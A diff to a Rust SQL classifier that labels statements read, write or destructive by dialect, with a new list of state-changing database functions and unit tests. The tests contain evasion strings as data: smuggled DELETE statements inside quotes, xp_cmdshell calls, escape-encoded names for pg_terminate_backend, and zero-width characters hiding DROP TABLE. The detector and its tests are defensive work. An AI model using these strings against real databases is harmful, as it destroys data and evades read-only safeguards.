+    "pg_replication_origin_create",
+    "pg_replication_origin_drop",
+    "pg_replication_origin_advance",
+    "pg_replication_origin_session_setup",
+    "pg_replication_origin_session_reset",
+    "pg_replication_origin_xact_setup",
+    "pg_replication_origin_xact_reset",
+];
+
+const SEQUENCES: &[&str] = &["nextval", "setval"];
+
+const ADVISORY_LOCKS: &[&str] = &[
+    "pg_advisory_lock",
+    "pg_advisory_lock_shared",
+    "pg_advisory_unlock",
+    "pg_advisory_unlock_shared",
+    "pg_advisory_unlock_all",
+    "pg_advisory_xact_lock",
+    "pg_advisory_xact_lock_shared",
+    "pg_try_advisory_lock",
+    "pg_try_advisory_lock_shared",
+    "pg_try_advisory_xact_lock",
+    "pg_try_advisory_xact_lock_shared",
+    "get_lock",
+    "release_lock",
+    "release_all_locks",
+];
+
+const SETTINGS_AND_STATISTICS: &[&str] = &[
+    "set_config",
+    "pg_notify",
+    "pg_stat_reset",
+    "pg_stat_reset_shared",
+    "pg_stat_reset_single_table_counters",
+    "pg_stat_reset_single_function_counters",
+    "pg_stat_reset_slru",
+    "pg_stat_reset_replication_slot",
+    "pg_stat_reset_subscription_stats",
+    "pg_stat_statements_reset",
+    "pg_restore_relation_stats",
+    "pg_restore_attribute_stats",
+    "pg_clear_relation_stats",
+    "pg_clear_attribute_stats",
+];
+
+const LARGE_OBJECTS: &[&str] = &[
+    "lo_create",
+    "lo_creat",
+    "lo_unlink",
+    "lo_from_bytea",
+    "lo_put",
+    "lowrite",
+    "lo_truncate",
+    "lo_truncate64",
+    "lo_import",
+    "lo_export",
+];
+
+const INDEX_MAINTENANCE: &[&str] = &[
+    "brin_summarize_new_values",
+    "brin_summarize_range",
+    "brin_desummarize_range",
+    "gin_clean_pending_list",
+];
+
+/// Functions that run SQL text: what that text does is not in the words.
+const SQL_TEXT_RUNNERS: &[&str] = &[
+    "query_to_xml",
+    "query_to_xml_and_xmlschema",
+    "ts_stat",
+    "ts_rewrite",
+    "dblink",
+    "dblink_exec",
+    "dblink_send_query",
+    "dblink_open",
+];
+
+const EXTENSIONS: &[&str] = &["load_extension"];
+
+const FAMILIES: [&[&str]; 11] = [
+    SERVER_SIGNALS,
+    SESSION_CONTROL,
+    RECOVERY_AND_BACKUP,
+    REPLICATION,
+    SEQUENCES,
+    ADVISORY_LOCKS,
+    SETTINGS_AND_STATISTICS,
+    LARGE_OBJECTS,
+    INDEX_MAINTENANCE,
+    SQL_TEXT_RUNNERS,
+    EXTENSIONS,
+];
+
+/// Whether a call of `name` can change state, compared without regard
+/// to case.
+pub(crate) fn changes_state(name: &str) -> bool {
+    FAMILIES
+        .iter()
+        .flat_map(|family| family.iter())
+        .any(|known| name.eq_ignore_ascii_case(known))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn every_family_is_matched_whatever_the_case() {
+        for name in [
+            "PG_TERMINATE_BACKEND",
+            "dblink",
+            "DBLINK_EXEC",
+            "lo_creat",
+            "lowrite",
+            "query_to_xml",
+            "ts_stat",
+            "pg_notify",
+            "pg_advisory_lock",
+            "GET_LOCK",
+            "pg_logical_slot_get_changes",
+            "pg_replication_origin_create",
+            "gin_clean_pending_list",
+            "load_extension",
+        ] {
+            assert!(changes_state(name), "{name}");
+        }
+        for name in [
+            "currval",
+            "pg_backend_pid",
+            "lo_get",
+            "count",
+            "dblink_build_sql_insert",
+        ] {
+            assert!(!changes_state(name), "{name}");
+        }
+    }
+
+    #[test]
+    fn no_name_is_listed_twice() {
+        let mut names: Vec<String> = FAMILIES
+            .iter()
+            .flat_map(|family| family.iter())
+            .map(|name| name.to_ascii_lowercase())
+            .collect();
+        let listed = names.len();
+        names.sort();
+        names.dedup();
+        assert_eq!(names.len(), listed);
+    }
+}
diff --git a/linux/crates/core/src/sql_syntax/statement_access.rs b/linux/crates/core/src/sql_syntax/statement_access.rs
index 7cf97dd081..d2cfaee6e9 100644
--- a/linux/crates/core/src/sql_syntax/statement_access.rs
+++ b/linux/crates/core/src/sql_syntax/statement_access.rs
@@ -2,6 +2,8 @@ use std::collections::HashMap;
 
 use crate::sql_syntax::SqlGrammar;
 use crate::sql_syntax::script::{ScriptPlan, ScriptToken, ScriptTokenKind};
+use crate::sql_syntax::state_changing_functions::changes_state;
+use crate::unicode_blank::is_blank;
 
 /// What running a piece of SQL can do, from its own words. Ordered, so
 /// the strictest of several statements is their maximum.
@@ -20,6 +22,11 @@ const READ_VERBS: [&str; 8] = [
     "SELECT", "WITH", "VALUES", "TABLE", "SHOW", "EXPLAIN", "DESCRIBE", "DESC",
 ];
 
+/// T-SQL has no SHOW, EXPLAIN, DESCRIBE, TABLE or VALUES statement: such
+/// a word is a name there, `SHOW:` a label in front of any statement, and
+/// `SHOW 'x'` opening a batch runs a procedure called SHOW.
+const TSQL_READ_VERBS: [&str; 2] = ["SELECT", "WITH"];
+
 /// Words that make a statement a write wherever they stand: a CTE that
 /// deletes, `SELECT … INTO`, `FOR UPDATE`. `REPLACE` and `COPY` are left
 /// out because they are also function and column names in a read.
@@ -88,35 +95,6 @@ const STATEMENT_VERBS: [&str; 10] = [
     "DELETE", "UPDATE", "DROP", "TRUNCATE", "SELECT", "INSERT", "MERGE", "EXEC", "EXECUTE", "ALTER",
 ];
 
-/// Built-in functions that change state from inside a SELECT: sequences,
-/// settings, other sessions, large objects, replication. A function the
-/// user wrote is beyond what the words show; on PostgreSQL and MySQL a
-/// Read-Only connection's read-only transaction still refuses its write.
-const MUTATING_FUNCTIONS: [&str; 22] = [
-    "SETVAL",
-    "NEXTVAL",
-    "SET_CONFIG",
-    "PG_TERMINATE_BACKEND",
-    "PG_CANCEL_BACKEND",
-    "PG_RELOAD_CONF",
-    "PG_ROTATE_LOGFILE",
-    "PG_SWITCH_WAL",
-    "PG_PROMOTE",
-    "PG_CREATE_RESTORE_POINT",
-    "PG_CREATE_PHYSICAL_REPLICATION_SLOT",
-    "PG_CREATE_LOGICAL_REPLICATION_SLOT",
-    "PG_DROP_REPLICATION_SLOT",
-    "PG_STAT_RESET",
-    "LO_CREATE",
-    "LO_IMPORT",
-    "LO_EXPORT",
-    "LO_UNLINK",
-    "LO_PUT",
-    "LO_FROM_BYTEA",
-    "DBLINK_EXEC",
-    "LOAD_EXTENSION",
-];
-
 /// Statement verbs that MySQL also has as functions: `TRUNCATE(x, 2)`
 /// rounds and `INSERT(s, 1, 2, 'x')` splices, both inside a read.
 const ALSO_FUNCTIONS: [&str; 2] = ["TRUNCATE", "INSERT"];
@@ -147,6 +125,43 @@ const CLAUSE_WORDS: [&str; 15] = [
     "ON", "THEN", "FOR", "OF", "AFTER", "BEFORE", "INSTEAD", "DO", "KEY", "GRANT", "REVOKE", "DENY", "AND", "OR", "NOT",
 ];
 
+/// The clause words T-SQL reserves, so none of them can be a name that
+/// ends a statement. ON and KEY are reserved but also end one (`SET
+/// NOCOUNT ON`, `CLOSE MASTER KEY`), so ON leads in only before a foreign
+/// key's referential action, and KEY never does. BEFORE, AFTER, INSTEAD
+/// and DO are names there outside a trigger, whose body never runs on
+/// creation anyway.
+const TSQL_CLAUSE_WORDS: [&str; 9] = ["THEN", "FOR", "OF", "GRANT", "REVOKE", "DENY", "AND", "OR", "NOT"];
+
+/// What a T-SQL DROP statement drops and an ALTER's DROP clause never
+/// does, so `DROP TABLE` after an ALTER with no `;` starts a statement.
+const TSQL_DROPPED_OBJECTS: [&str; 24] = [
+    "TABLE",
+    "VIEW",
+    "PROCEDURE",
+    "PROC",
+    "FUNCTION",
+    "TRIGGER",
+    "INDEX",
+    "SCHEMA",
+    "DATABASE",
+    "TYPE",
+    "SEQUENCE",
+    "SYNONYM",
+    "USER",
+    "LOGIN",
+    "ROLE",
+    "ASSEMBLY",
+    "AGGREGATE",
+    "DEFAULT",
+    "RULE",
+    "STATISTICS",
+    "EXTERNAL",
+    "FULLTEXT",
+    "XML",
+    "SECURITY",
+];
+
 /// The strictest access among the statements of `sql`.
 ///
 /// A statement reads only when its words show it does, so anything
@@ -209,12 +224,26 @@ fn access_in(sql: &str, grammar: SqlGrammar, plan: &ScriptPlan) -> StatementAcce
         .fold(unreadable, StatementAccess::max)
 }
 
+/// A server may take a Unicode blank inside a word for a space or for
+/// part of the name, so both readings count and the stricter stands.
 fn access_of(sql: &str, grammar: SqlGrammar, tokens: &[ScriptToken]) -> StatementAccess {
     let code = code_of(sql, tokens);
-    if code.iter().all(|token| token.kind == Kind::End) || plans_only(&code, grammar) {
+    let whole = access_of_code(&code, grammar);
+    let blanks_inside = code
+        .iter()
+        .any(|token| token.kind == Kind::Word && token.text.contains(is_blank));
+    match blanks_inside {
+        true => whole.max(access_of_code(&split_at_blanks(&code), grammar)),
+        false => whole,
+    }
+}
+
+fn access_of_code(code: &[Code<'_>], grammar: SqlGrammar) -> StatementAccess {
+    let code = explained_pragma(code, grammar);
+    if code.iter().all(|token| token.kind == Kind::End) || plans_only(code, grammar) {
         return StatementAccess::Read;
     }
-    if destructive(&code, grammar) {
+    if destructive(code, grammar) {
         return StatementAccess::Destructive;
     }
     // A SQL Server batch is one statement here, so each part between
@@ -238,13 +267,51 @@ fn plans_only(code: &[Code<'_>], grammar: SqlGrammar) -> bool {
             .first()
             .is_some_and(|first| first.is_word(&["EXPLAIN", "DESCRIBE", "DESC"]))
         && !code.iter().any(|token| token.is_word(&["ANALYZE", "ANALYSE"]))
+        && !quotes_an_option(code, grammar)
         && code.iter().rev().skip(1).all(|token| token.kind != Kind::End)
 }
 
+/// PostgreSQL takes a quoted name for an option too, so
+/// `EXPLAIN ("analyze")` runs the statement, and `U&"\0061nalyze"`
+/// spells the same name. No option needs quotes, so a list that has them
+/// may run what it explains. A parenthesis that opens on a query is that
+/// query, not a list.
+fn quotes_an_option(code: &[Code<'_>], grammar: SqlGrammar) -> bool {
+    code.get(1).is_some_and(|second| second.kind == Kind::Open)
+        && !code.get(2..).is_some_and(|rest| opens_as_read(rest, grammar))
+        && code
+            .iter()
+            .skip(2)
+            .take_while(|token| token.kind != Kind::Close || token.depth > 0)
+            .any(|token| token.kind == Kind::Quoted)
+}
+
+/// SQLite applies a pragma such as `foreign_keys = OFF` while it compiles
+/// the statement, and EXPLAIN compiles what it explains, so an explained
+/// pragma is read as the pragma itself.
+fn explained_pragma<'code, 'sql>(code: &'code [Code<'sql>], grammar: SqlGrammar) -> &'code [Code<'sql>] {
+    if grammar != SqlGrammar::Sqlite {
+        return code;
+    }
+    let explained = match code {
+        [explain, query, plan, rest @ ..]
+            if explain.is_word(&["EXPLAIN"]) && query.is_word(&["QUERY"]) && plan.is_word(&["PLAN"]) =>
+        {
+            rest
+        }
+        [explain, rest @ ..] if explain.is_word(&["EXPLAIN"]) => rest,
+        _ => return code,
+    };
+    match explained.first().is_some_and(|first| first.is_word(&["PRAGMA"])) {
+        true => explained,
+        false => code,
+    }
+}
+
 /// Whether a word in `part` writes wherever it stands. Every SHOW only
 /// reports, `SHOW CREATE TABLE` included.
 fn writes(part: &[Code<'_>], grammar: SqlGrammar) -> bool {
-    if part.first().is_some_and(|first| first.is_word(&["SHOW"])) {
+    if grammar != SqlGrammar::MsSql && part.first().is_some_and(|first| first.is_word(&["SHOW"])) {
         return false;
     }
     let follows = |index: usize, set: &[&str]| index > 0 && part[index - 1].is_word(set);
@@ -256,16 +323,51 @@ fn writes(part: &[Code<'_>], grammar: SqlGrammar) -> bool {
                     || (is(token.text, &["SHARE"]) && follows(index, &["FOR", "KEY", "IN"]))
                     // `NEXT VALUE FOR` takes a number from a sequence.
                     || (is(token.text, &["VALUE"]) && follows(index, &["NEXT"]))
-                    || calls_mutator(part, index))
+                    || calls_mutator(part, index, grammar))
         }
-        Kind::Quoted => calls_mutator(part, index),
+        Kind::Quoted => calls_mutator(part, index, grammar),
         _ => false,
     })
 }
 
 /// A call of a built-in that changes state, its name quoted or not.
-fn calls_mutator(part: &[Code<'_>], index: usize) -> bool {
-    is(part[index].text, &MUTATING_FUNCTIONS) && part.get(index + 1).is_some_and(|next| next.kind == Kind::Open)
+/// PostgreSQL decodes the escapes in `U&"set\0076al"` before it looks the
+/// name up, under an escape character `UESCAPE` may change, so a name
+/// spelled that way is compared with nothing and may be any of them.
+fn calls_mutator(part: &[Code<'_>], index: usize, grammar: SqlGrammar) -> bool {
+    let arguments = match decodes_unicode_names(grammar) && spelled_in_escapes(part, index) {
+        true => after_uescape(part, index + 1),
+        false if changes_state(part[index].text) => index + 1,
+        false => return false,
+    };
+    part.get(arguments).is_some_and(|next| next.kind == Kind::Open)
+}
+
+/// The grammars whose scanner is PostgreSQL's, which reads `U&"…"`.
+fn decodes_unicode_names(grammar: SqlGrammar) -> bool {
+    matches!(grammar, SqlGrammar::PostgreSql | SqlGrammar::DuckDb)
+}
+
+/// A `U&"…"` name, whose prefix the lexer reads as the word `U` and `&`,
+/// written with nothing between them, since `u & "f"(1)` is an AND.
+fn spelled_in_escapes(part: &[Code<'_>], index: usize) -> bool {
+    part[index].kind == Kind::Quoted
+        && index >= 2
+        && part[index - 1].kind == Kind::Other
+        && part[index - 1].text == "&"
+        && part[index - 2].is_word(&["U"])
+        && part[index - 2].text.as_ptr() as usize + 3 == part[index].text.as_ptr() as usize
+}
+
+/// The index past a `UESCAPE '!'` at `index`, or `index` where there is
+/// none. A string can go on in another on the next line, so it is as
+/// many tokens as stand there.
+fn after_uescape(part: &[Code<'_>], index: usize) -> usize {
+    if !part.get(index).is_some_and(|word| word.is_word(&["UESCAPE"])) {
+        return index;
+    }
+    let strings = part[index + 1..].iter().take_while(|token| token.kind == Kind::Literal);
+    index + 1 + strings.count()
 }
 
 /// A verb MySQL also has as a function, called as one.
@@ -280,6 +382,7 @@ fn opens_as_read(part: &[Code<'_>], grammar: SqlGrammar) -> bool {
     match first.kind {
         Kind::Open => true,
         Kind::Word if is(first.text, &["PRAGMA"]) => grammar == SqlGrammar::Sqlite && reporting_pragma(part),
+        Kind::Word if grammar == SqlGrammar::MsSql => is(first.text, &TSQL_READ_VERBS),
         // CQL's LIST ROLES, LIST USERS and LIST PERMISSIONS report.
         Kind::Word => is(first.text, &READ_VERBS) || (grammar == SqlGrammar::Cql && is(first.text, &["LIST"])),
         _ => false,
@@ -297,6 +400,8 @@ enum Kind {
     End,
     /// A quoted name, its text without the quotes.
     Quoted,
+    /// A string or a dollar-quoted body.
+    Literal,
     Other,
 }
 
@@ -341,6 +446,7 @@ fn code_of<'a>(sql: &'a str, tokens: &[ScriptToken]) -> Vec<Code<'a>> {
                 ScriptTokenKind::Semicolon if depth == 0 => Kind::End,
                 ScriptTokenKind::Word => Kind::Word,
                 ScriptTokenKind::QuotedIdentifier => Kind::Quoted,
+                ScriptTokenKind::StringLiteral | ScriptTokenKind::DollarQuoted => Kind::Literal,
                 ScriptTokenKind::Punct if text == "," => Kind::Comma,
                 ScriptTokenKind::Punct if text == "=" => Kind::Equals,
                 _ => Kind::Other,
@@ -358,6 +464,24 @@ fn code_of<'a>(sql: &'a str, tokens: &[ScriptToken]) -> Vec<Code<'a>> {
         .collect()
 }
 
+/// `code` with each word cut where it holds a Unicode blank.
+fn split_at_blanks<'a>(code: &[Code<'a>]) -> Vec<Code<'a>> {
+    code.iter()
+        .flat_map(|token| {
+            let pieces: Vec<Code<'a>> = match token.kind {
+                Kind::Word => token
+                    .text
+                    .split(is_blank)
+                    .filter(|piece| !piece.is_empty())
+                    .map(|text| Code { text, ..*token })
+                    .collect(),
+                _ => vec![*token],
+            };
+            pieces
+        })
+        .collect()
+}
+
 /// Whether some statement in `code` drops, empties, or changes every row
 /// of a table. Once a routine or trigger is being defined, the rest is
 /// its body, which does not run now.
@@ -393,7 +517,7 @@ fn defines_routine(statement: &[Code<'_>]) -> bool {
 /// Server batch written without `;`; one in parentheses is a
 /// data-modifying CTE.
 fn statement_destroys(code: &[Code<'_>], grammar: SqlGrammar) -> bool {
-    let starts = statement_starts(code);
+    let starts = statement_starts(code, grammar);
     // Each start's segment runs to the next start at its depth, found in
     // one pass from the end.
     let mut next_at_depth: HashMap<usize, usize> = HashMap::new();
@@ -411,7 +535,7 @@ fn statement_destroys(code: &[Code<'_>], grammar: SqlGrammar) -> bool {
         .any(|(&start, end)| segment_destroys(&code[start..end], grammar))
 }
 
-fn statement_starts(code: &[Code<'_>]) -> Vec<usize> {
+fn statement_starts(code: &[Code<'_>], grammar: SqlGrammar) -> Vec<usize> {
     let mut starts = Vec::new();
     let mut lead: Option<&str> = None;
     for (index, token) in code.iter().enumerate() {
@@ -420,8 +544,10 @@ fn statement_starts(code: &[Code<'_>]) -> Vec<usize> {
             None => token.kind == Kind::Word,
             Some(before) if token.is_word(&["DELETE", "UPDATE"]) && before.kind == Kind::Open => true,
             Some(before) if token.depth == 0 && token.is_word(&STATEMENT_VERBS) => {
-                let led_in = before.is_word(&CLAUSE_WORDS) || before.kind == Kind::Comma;
-                let alters = lead.is_some_and(|lead| is(lead, &["ALTER"])) && token.is_word(&["DROP", "ALTER"]);
+                let led_in = leads_in(before, &code[index..], grammar) || before.kind == Kind::Comma;
+                let alters = lead.is_some_and(|lead| is(lead, &["ALTER"]))
+                    && token.is_word(&["DROP", "ALTER"])
+                    && !(grammar == SqlGrammar::MsSql && drops_an_object(&code[index..]));
                 !led_in && !alters
             }
             Some(_) => false,
@@ -436,6 +562,27 @@ fn statement_starts(code: &[Code<'_>]) -> Vec<usize> {
     starts
 }
 
+/// Whether `before` keeps the verb at `code[0]` inside its statement.
+fn leads_in(before: &Code<'_>, code: &[Code<'_>], grammar: SqlGrammar) -> bool {
+    if grammar != SqlGrammar::MsSql {
+        return before.is_word(&CLAUSE_WORDS);
+    }
+    if !before.is_word(&["ON"]) {
+        return before.is_word(&TSQL_CLAUSE_WORDS);
+    }
+    let word = |at: usize, set: &[&str]| code.get(at).is_some_and(|token| token.is_word(set));
+    word(0, &["DELETE", "UPDATE"])
+        && (word(1, &["CASCADE"])
+            || (word(1, &["SET"]) && word(2, &["NULL", "DEFAULT"]))
+            || (word(1, &["NO"]) && word(2, &["ACTION"])))
+}
+
+/// A DROP at `code[0]` that names a kind of object only a DROP statement
+/// takes.
+fn drops_an_object(code: &[Code<'_>]) -> bool {
+    code[0].is_word(&["DROP"]) && code.get(1).is_some_and(|kind| kind.is_word(&TSQL_DROPPED_OBJECTS))
+}
+
 /// The statement that starts at `code[0]` and runs to the end of `code`
 /// or the parenthesis that closes it.
 fn segment_destroys(code: &[Code<'_>], grammar: SqlGrammar) -> bool {
@@ -469,7 +616,13 @@ fn reporting_pragma(code: &[Code<'_>]) -> bool {
         .filter(|token| token.kind == Kind::Word)
         .last();
     let assigns = code.iter().any(|token| token.kind == Kind::Equals);
-    !assigns && name.is_some_and(|name| is(name.text, &REPORTING_PRAGMAS))
+    !assigns && name.is_some_and(|name| sqlite_pragma_reports(name.text))
+}
+
+/// Whether the SQLite pragma `name` only reports, whatever argument it
+/// is given. Any other pragma can change the database or the connection.
+pub fn sqlite_pragma_reports(name: &str) -> bool {
+    is(name, &REPORTING_PRAGMAS)
 }
 
 fn is(word: &str, set: &[&str]) -> bool {
@@ -494,7 +647,6 @@ mod tests {
                 "/* UPDATE orders */ SELECT 1",
                 "(SELECT 1) UNION (SELECT 2)",
                 "WITH recent AS (SELECT * FROM orders) SELECT * FROM recent",
-                "EXPLAIN SELECT * FROM orders",
                 "SELECT replace(name, 'a', 'b') FROM orders",
                 "",
                 "-- only a note",
@@ -502,6 +654,16 @@ mod tests {
                 assert_eq!(access(sql, grammar), StatementAccess::Read, "{grammar:?}: {sql}");
             }
         }
+        for grammar in SqlGrammar::SQL
+            .into_iter()
+            .filter(|grammar| *grammar != SqlGrammar::MsSql)
+        {
+            assert_eq!(
+                access("EXPLAIN SELECT * FROM orders", grammar),
+                StatementAccess::Read,
+                "{grammar:?}"
+            );
+        }
     }
 
     #[test]
@@ -623,7 +785,6 @@ mod tests {
                 "UPDATE orders SET total = 0 WHERE id = 1",
                 "ALTER TABLE orders DROP COLUMN note",
                 "CREATE TABLE lines (order_id int REFERENCES orders ON DELETE CASCADE)",
-                "INSERT INTO orders VALUES (1) ON CONFLICT (id) DO UPDATE SET total = 0",
                 "SELECT * FROM orders FOR UPDATE",
                 "GRANT SELECT, UPDATE, DELETE ON orders TO someone",
                 "CREATE TRIGGER t AFTER UPDATE OF total ON orders FOR EACH ROW EXECUTE FUNCTION f()",
@@ -632,6 +793,14 @@ mod tests {
                 assert_ne!(access(sql, grammar), StatementAccess::Destructive, "{grammar:?}: {sql}");
             }
         }
+        // T-SQL has no ON CONFLICT, and DO is a name there.
+        for grammar in SqlGrammar::SQL
+            .into_iter()
+            .filter(|grammar| *grammar != SqlGrammar::MsSql)
+        {
+            let sql = "INSERT INTO orders VALUES (1) ON CONFLICT (id) DO UPDATE SET total = 0";
+            assert_ne!(access(sql, grammar), StatementAccess::Destructive, "{grammar:?}: {sql}");
+        }
     }
 
     #[test]
@@ -932,4 +1101,276 @@ mod tests {
         assert_eq!(access(sql, SqlGrammar::MySql), StatementAccess::Destructive);
         assert_eq!(access(sql, SqlGrammar::PostgreSql), StatementAccess::Destructive);
     }
+
+    #[test]
+    fn a_quote_inside_a_sqlite_parameter_opens_no_string() {
+        for sql in [
+            "WITH c AS (SELECT $1(')) DELETE FROM orders --'",
+            "WITH c AS (SELECT $a::b(')) DELETE FROM orders --'",
+            "WITH c AS (SELECT @a(')) DELETE FROM orders --'",
+            "WITH c AS (SELECT :a(')) DELETE FROM orders --'",
+            "WITH c AS (SELECT #a(')) DELETE FROM orders --'",
+        ] {
+            assert_eq!(access(sql, SqlGrammar::Sqlite), StatementAccess::Destructive, "{sql}");
+        }
+        for sql in [
+            "SELECT $1('); ATTACH DATABASE 'other.db' AS other; --'",
+            "SELECT $1('); VACUUM INTO 'copy.db'; --'",
+        ] {
+            assert_eq!(access(sql, SqlGrammar::Sqlite), StatementAccess::Write, "{sql}");
+        }
+        for sql in [
+            "SELECT $1, $name, :name, @name FROM orders",
+            "SELECT $1( '; DELETE FROM orders; --')",
+            "SELECT a$1('; DELETE FROM orders; --')",
+        ] {
+            assert_eq!(access(sql, SqlGrammar::Sqlite), StatementAccess::Read, "{sql}");
+        }
+    }
+
+    #[test]
+    fn a_string_that_continues_an_escape_string_is_read_as_one() {
+        // The server carries `E'x'` on into a string on the next line and
+        // reads that with backslash escapes on, so the first `\'` is an
+        // escaped quote and the COMMIT is code.
+        for sql in [
+            "SELECT E'x'\n'\\' || ' || '\\' ; COMMIT; DELETE FROM orders; --'",
+            "SELECT e'x' -- note\r\n  -- note\n\t'\\' || ' || '\\' ; COMMIT; DELETE FROM orders; --'",
+            "SELECT E'x'\n'y'\n'\\' || ' || '\\' ; COMMIT; DELETE FROM orders; --'",
+        ] {
+            for grammar in [SqlGrammar::PostgreSql, SqlGrammar::DuckDb] {
+                assert_eq!(
+                    access(sql, grammar),
+                    StatementAccess::Destructive,
+                    "{grammar:?}: {sql:?}"
+                );
+            }
+        }
+        for sql in [
+            "SELECT E'x'\n'\\'; DELETE FROM orders; --'",
+            "SELECT E'a\\'b'\n'c\\'d' FROM orders",
+        ] {
+            assert_eq!(access(sql, SqlGrammar::PostgreSql), StatementAccess::Read, "{sql:?}");
+        }
+    }
+
+    #[test]
+    fn a_unicode_blank_before_a_keyword_does_not_hide_it() {
+        for (sql, expected) in [
+            ("\u{feff}DROP TABLE t", StatementAccess::Destructive),
+            ("SELECT 1;\u{feff}DELETE FROM t", StatementAccess::Destructive),
+            (
+                "WITH x AS (SELECT 1) \u{feff}DELETE FROM t",
+                StatementAccess::Destructive,
+            ),
+            (
+                "WITH x AS (SELECT 1) \u{feff}INSERT \u{feff}INTO t VALUES (1)",
+                StatementAccess::Write,
+            ),
+            ("\u{feff}SELECT 1", StatementAccess::Read),
+        ] {
+            assert_eq!(access(sql, SqlGrammar::Sqlite), expected, "{sql:?}");
+        }
+        // Whether SQL Server or ClickHouse skip such a character is not
+        // known here, so the stricter reading stands.
+        for grammar in [SqlGrammar::MsSql, SqlGrammar::ClickHouse] {
+            for sql in [
+                "SELECT 1\n\u{feff}DROP TABLE t",
+                "SELECT 1\n\u{200b}DROP TABLE t",
+                "SELECT 1\n\u{a0}DROP TABLE t",
+            ] {
+                assert_eq!(
+                    access(sql, grammar),
+                    StatementAccess::Destructive,
+                    "{grammar:?}: {sql:?}"
+                );
+            }
+            assert!(
+                access("SEL\u{feff}ECT 1", grammar) >= StatementAccess::Write,
+                "{grammar:?}"
+            );
+        }
+    }
+
+    #[test]
+    fn a_sql_server_batch_that_opens_with_the_name_show_is_not_a_read() {
+        for sql in [
+            "SHOW: SELECT 1",
+            "SHOW: UPDATE orders SET total = 0 WHERE id = 1",
+            "SHOW: COMMIT TRANSACTION UPDATE orders SET total = 0 WHERE id = 1 BEGIN TRANSACTION",
+            "SHOW: EXEC('DROP TABLE orders')",
+            "SHOW: EXEC xp_cmdshell 'whoami'",
+            "SELECT 1; show : BACKUP DATABASE shop TO DISK = 'x'",
+            "SHOW INSERT INTO orders VALUES (1)",
+            "EXPLAIN 'x'",
+            "DESCRIBE orders",
+            "VALUES (1)",
+            "TABLE orders",
+        ] {
+            assert_eq!(access(sql, SqlGrammar::MsSql), StatementAccess::Write, "{sql}");
+        }
+        assert_eq!(
+            access("SHOW: DELETE FROM orders", SqlGrammar::MsSql),
+            StatementAccess::Destructive
+        );
+    }
+
+    #[test]
+    fn an_explain_with_a_quoted_option_may_run_what_it_explains() {
+        for (sql, expected) in [
+            ("EXPLAIN (\"analyze\") DELETE FROM orders", StatementAccess::Destructive),
+            (
+                "EXPLAIN (COSTS off, \"analyze\" true) DELETE FROM orders",
+                StatementAccess::Destructive,
+            ),
+            (
+                "EXPLAIN (U&\"\\0061nalyze\") DELETE FROM orders",
+                StatementAccess::Destructive,
+            ),
+            (
+                "EXPLAIN (\"analyze\") SELECT pg_terminate_backend(42)",
+                StatementAccess::Write,
+            ),
+        ] {
+            assert_eq!(access(sql, SqlGrammar::PostgreSql), expected, "{sql}");
+        }
+        for sql in [
+            "EXPLAIN (COSTS false) DELETE FROM \"analyze\"",
+            "EXPLAIN (FORMAT 'json') DELETE FROM orders",
+            "EXPLAIN (WITH gone AS (SELECT * FROM \"orders\") SELECT * FROM gone)",
+        ] {
+            assert_eq!(access(sql, SqlGrammar::PostgreSql), StatementAccess::Read, "{sql}");
+        }
+    }
+
+    #[test]
+    fn an_explained_pragma_is_read_as_the_pragma_on_sqlite() {
+        for sql in [
+            "EXPLAIN PRAGMA foreign_keys = OFF",
+            "explain pragma main.trusted_schema = ON",
+            "EXPLAIN QUERY PLAN PRAGMA writable_schema(ON)",
+            "EXPLAIN /* plan */ PRAGMA hard_heap_limit = 1",
+            "EXPLAIN QUERY PLAN PRAGMA recursive_triggers = ON",
+            "EXPLAIN PRAGMA optimize",
+        ] {
+            assert_eq!(access(sql, SqlGrammar::Sqlite), StatementAccess::Write, "{sql}");
+        }
+        for sql in [
+            "EXPLAIN PRAGMA table_info(orders)",
+            "EXPLAIN QUERY PLAN PRAGMA main.index_list('orders')",
+            "EXPLAIN QUERY PLAN SELECT * FROM orders",
+            "EXPLAIN DELETE FROM orders",
+        ] {
+            assert_eq!(access(sql, SqlGrammar::Sqlite), StatementAccess::Read, "{sql}");
+        }
+    }
+
+    #[test]
+    fn a_function_that_runs_sql_text_or_signals_writes() {
+        for sql in [
+            "SELECT dblink('host=db', 'DELETE FROM orders')",
+            "SELECT * FROM dblink('host=db', 'DELETE FROM orders') AS t(n int)",
+            "SELECT dblink_send_query('c', 'DELETE FROM orders')",
+            "SELECT dblink_open('c', 'cur', 'SELECT 1')",
+            "SELECT query_to_xml('DELETE FROM orders RETURNING *', true, false, '')",
+            "SELECT ts_stat('DELETE FROM orders RETURNING note::tsvector')",
+            "SELECT lo_creat(-1)",
+            "SELECT lowrite(0, 'x')",
+            "SELECT lo_truncate(0, 0)",
+            "SELECT pg_notify('jobs', 'run')",
+            "SELECT pg_advisory_lock(1)",
+            "SELECT pg_logical_slot_get_changes('s', NULL, NULL)",
+            "SELECT pg_replication_origin_create('o')",
+            "SELECT pg_stat_reset_shared('bgwriter')",
+            "SELECT pg_wal_replay_pause()",
+            "SELECT gin_clean_pending_list('i'::regclass)",
+        ] {
+            assert_eq!(access(sql, SqlGrammar::PostgreSql), StatementAccess::Write, "{sql}");
+        }
+        for sql in ["SELECT GET_LOCK('l', 1)", "SELECT release_all_locks()"] {
+            assert_eq!(access(sql, SqlGrammar::MySql), StatementAccess::Write, "{sql}");
+        }
+        assert_eq!(
+            access(
+                "SELECT dblink_build_sql_insert('t', '1', 1, '{1}', '{2}')",
+                SqlGrammar::PostgreSql
+            ),
+            StatementAccess::Read
+        );
+    }
+
+    #[test]
+    fn a_call_of_a_name_spelled_in_escapes_writes() {
+        for sql in [
+            r#"SELECT U&"set\0076al"('orders_id_seq', 1, false)"#,
+            r#"SELECT pg_catalog.u&"pg_terminate_backen\0064"(pid) FROM pg_stat_activity"#,
+            r#"SELECT U&"pg_terminate_backen\+000064" /* all */ (pid) FROM pg_stat_activity"#,
+            r#"SELECT U&"setv!0061l" UESCAPE '!' ('orders_id_seq', 1, false)"#,
+            r#"SELECT U&"setv!0061l" uescape E'!'('orders_id_seq', 1, false)"#,
+            r#"SELECT U&"setv!0061l" UESCAPE $$!$$ ('orders_id_seq', 1, false)"#,
+            "SELECT U&\"setv!0061l\" UESCAPE '!'\n'' ('orders_id_seq', 1, false)",
+        ] {
+            assert_eq!(access(sql, SqlGrammar::PostgreSql), StatementAccess::Write, "{sql}");
+        }
+        for sql in [
+            r#"SELECT U&"d\0061ta", u & "mask" FROM orders"#,
+            r#"SELECT U&"d!0061ta" UESCAPE '!' FROM orders WHERE id IN (1, 2)"#,
